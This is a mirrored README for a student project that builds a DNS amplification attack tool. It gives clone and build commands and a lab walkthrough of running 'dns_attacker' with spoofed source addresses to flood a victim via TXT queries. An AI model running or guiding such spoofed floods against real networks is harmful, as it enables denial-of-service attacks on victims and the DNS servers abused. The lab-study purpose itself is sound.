Giter Site home page Giter Site logo

dns_amplification_attack's Introduction

DNS Amplification Attack

About The Project

This repository is a simple experiment of DNS-Amplification-Attack.

How it started
This is my graduation project
How it's going
This project now is not as good as I expected, especially the dns server, which now can only send 512-byte useless response packet. I'd like to make it a valid dns response.

Getting Started

To quickly get started, you should set up a local network, at least one attacker, one dns server and a victim. Of course they can be in the same host.

After that, let's begin building the executable files:

root@build:~# git clone https://github.com/GoldenMean58/dns_amplification_attack
root@build:~# cd dns_amplification_attack
root@build:~/dns_amplification_attack# ./configure && make

And you will have dns_attacker and dns_server in the src directory. They do what as their names show.

Let's pretend the IP configure as below:

Network Gateway: 192.168.1.1
DNS Server: 192.168.1.1
Attacker: 192.168.1.2
Victim: 192.168.1.3

Now, we can put our hands to attack. First we start our DNS server:

root@dns-server:~# ./dns_server
DNS server bind address: 0.0.0.0
DNS server bind port:53

As you can see, we bind the dns_server to 0.0.0.0:53 for external access, which need privilege.

Then we start our attacker:

root@attacker:~# ./dns_attacker
Target ip address: 192.168.1.3
DNS server ip address: 192.168.1.1
DNS server port: 53
Query domain name(Ctrl+D to end): www.baidu.com
Query type(A = 1, NS = 2, CNAME = 5, MX = 15, TXT = 16 , AAAA = 28): 16
Query domain name(Ctrl+D to end):<Ctrl+D>

We asked the dns server(192.168.1.1:53) for www.baidu.com's TXT record and spoof the query packet's source ip to Target ip address (192.168.1.3). After we enter <Ctrl+D>, the target victim was under attack. You can monitor network flow(UDP) on the dns server, attacker and victim.

Screenshots

Linux attack:
https://www.helloimg.com/images/2021/03/19/BQLjpK.png
Windows victim:
https://www.helloimg.com/images/2021/03/19/BQAXHv.png

License

Distributed under the MIT License. See LICENSE for more information.

Contact

GoldenMean - [email protected]

Acknowledgments

Cloudflare article

User Datagram Protocol(UDP) WIKIPEDIA article

IPv4 WIKIPEDIA article

Domain Name System WIKIPEDIA article

dns_amplification_attack's People

Contributors

goldenmean58 avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.